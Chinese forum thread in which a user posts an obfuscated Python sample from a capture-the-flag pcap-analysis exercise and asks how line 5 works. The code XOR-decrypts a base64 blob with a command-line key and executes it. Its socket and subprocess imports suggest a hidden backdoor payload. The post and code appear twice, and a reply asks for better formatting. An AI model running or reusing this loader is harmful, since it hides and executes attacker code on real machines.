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这是一个创建于 2846 天前的主题，其中的信息可能已经有所发展或是发生改变。
一个 ctf 上抠出来的 python 代码，求大家解析，在第 5 行用到了乱七八糟的东东。不知何意。
另：这个 ctf 是来分析一个 pcab 包，来还原攻击行为，有没有兴趣的朋友加入，我找到了 2 个 flag ，感觉很有趣，有兴趣可 PM 我。
#!/usr/bin/env python
from itertools import cycle, izip
import base64, sys
import socket, subprocess, os, urllib
x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b)))
c = """
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY
Gho9QB9QX1hAVBsaPQ==
"""
exec(x(c, sys.argv[1]))
另：这个 ctf 是来分析一个 pcab 包，来还原攻击行为，有没有兴趣的朋友加入，我找到了 2 个 flag ，感觉很有趣，有兴趣可 PM 我。
#!/usr/bin/env python
from itertools import cycle, izip
import base64, sys
import socket, subprocess, os, urllib
x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b)))
c = """
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY
Gho9QB9QX1hAVBsaPQ==
"""
exec(x(c, sys.argv[1]))
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1
wjm2038 2017-02-06 21:38:33 +08:00
为何不用 markdown 规整一下，，，看着好费劲，顺便 pm 你的方式也没留啊
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